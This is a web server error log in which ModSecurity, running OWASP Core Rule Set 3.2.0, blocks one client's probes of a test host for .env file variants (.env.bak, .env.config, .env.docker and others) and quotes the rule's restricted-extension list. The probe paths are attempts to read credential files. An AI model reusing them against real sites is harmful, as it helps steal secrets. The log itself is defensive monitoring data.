[Tue Jan 21 15:17:37.022614 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "Z4-sgZqmj11ddtqosUH5cAAAAAM"]
[Tue Jan 21 15:17:37.023020 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "Z4-sgZqmj11ddtqosUH5cAAAAAM"]
[Tue Jan 21 15:17:37.023453 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "Z4-sgZqmj11ddtqosUH5cAAAAAM"]
[Tue Jan 21 15:17:39.468448 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.config"] [unique_id "Z4-sg9Kd0J471eFma_TqFAAAAAE"]
[Tue Jan 21 15:17:39.470050 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.config"] [unique_id "Z4-sg9Kd0J471eFma_TqFAAAAAE"]
[Tue Jan 21 15:17:39.470498 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.config"] [unique_id "Z4-sg9Kd0J471eFma_TqFAAAAAE"]
[Tue Jan 21 15:17:39.470939 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.config"] [unique_id "Z4-sg9Kd0J471eFma_TqFAAAAAE"]
[Tue Jan 21 15:17:39.646452 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.config"] [unique_id "Z4-sg5qmj11ddtqosUH5cQAAAAM"]
[Tue Jan 21 15:17:39.646579 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.config"] [unique_id "Z4-sg5qmj11ddtqosUH5cQAAAAM"]
[Tue Jan 21 15:17:39.646754 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.config"] [unique_id "Z4-sg5qmj11ddtqosUH5cQAAAAM"]
[Tue Jan 21 15:17:39.646983 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.config"] [unique_id "Z4-sg5qmj11ddtqosUH5cQAAAAM"]
[Tue Jan 21 15:17:41.915356 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "Z4-shdKd0J471eFma_TqFQAAAAE"]
[Tue Jan 21 15:17:41.915676 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "Z4-shdKd0J471eFma_TqFQAAAAE"]
[Tue Jan 21 15:17:41.916032 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "Z4-shdKd0J471eFma_TqFQAAAAE"]
[Tue Jan 21 15:17:41.916499 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "Z4-shdKd0J471eFma_TqFQAAAAE"]
[Tue Jan 21 15:17:42.275598 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "Z4-shpqmj11ddtqosUH5cgAAAAM"]
[Tue Jan 21 15:17:42.275917 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "Z4-shpqmj11ddtqosUH5cgAAAAM"]
[Tue Jan 21 15:17:42.276267 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "Z4-shpqmj11ddtqosUH5cgAAAAM"]
[Tue Jan 21 15:17:42.276707 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "Z4-shpqmj11ddtqosUH5cgAAAAM"]
[Tue Jan 21 15:17:44.562848 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dist"] [unique_id "Z4-siNKd0J471eFma_TqFgAAAAE"]
[Tue Jan 21 15:17:44.564528 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dist"] [unique_id "Z4-siNKd0J471eFma_TqFgAAAAE"]
[Tue Jan 21 15:17:44.565040 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dist"] [unique_id "Z4-siNKd0J471eFma_TqFgAAAAE"]
[Tue Jan 21 15:17:45.215733 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dist"] [unique_id "Z4-siZqmj11ddtqosUH5cwAAAAM"]
[Tue Jan 21 15:17:45.216071 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dist"] [unique_id "Z4-siZqmj11ddtqosUH5cwAAAAM"]
[Tue Jan 21 15:17:45.216503 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dist"] [unique_id "Z4-siZqmj11ddtqosUH5cwAAAAM"]
[Tue Jan 21 15:17:47.222636 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.docker"] [unique_id "Z4-si9Kd0J471eFma_TqFwAAAAE"]
[Tue Jan 21 15:17:47.223032 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.docker"] [unique_id "Z4-si9Kd0J471eFma_TqFwAAAAE"]
[Tue Jan 21 15:17:47.223487 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.docker"] [unique_id "Z4-si9Kd0J471eFma_TqFwAAAAE"]
[Tue Jan 21 15:17:47.905074 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.docker"] [unique_id "Z4-si5qmj11ddtqosUH5dAAAAAM"]
[Tue Jan 21 15:17:47.905644 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.docker"] [unique_id "Z4-si5qmj11ddtqosUH5dAAAAAM"]
[Tue Jan 21 15:17:47.906134 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.docker"] [unique_id "Z4-si5qmj11ddtqosUH5dAAAAAM"]
[Tue Jan 21 15:17:49.768262 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.docker.dev"] [unique_id "Z4-sjdKd0J471eFma_TqGAAAAAE"]
[Tue Jan 21 15:17:49.768735 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.docker.dev"] [unique_id "Z4-sjdKd0J471eFma_TqGAAAAAE"]
[Tue Jan 21 15:17:49.769230 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.docker.dev"] [unique_id "Z4-sjdKd0J471eFma_TqGAAAAAE"]
[Tue Jan 21 15:17:50.528800 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.docker.dev"] [unique_id "Z4-sjpqmj11ddtqosUH5dQAAAAM"]
[Tue Jan 21 15:17:50.529211 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.docker.dev"] [unique_id "Z4-sjpqmj11ddtqosUH5dQAAAAM"]
[Tue Jan 21 15:17:50.529719 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.docker.dev"] [unique_id "Z4-sjpqmj11ddtqosUH5dQAAAAM"]
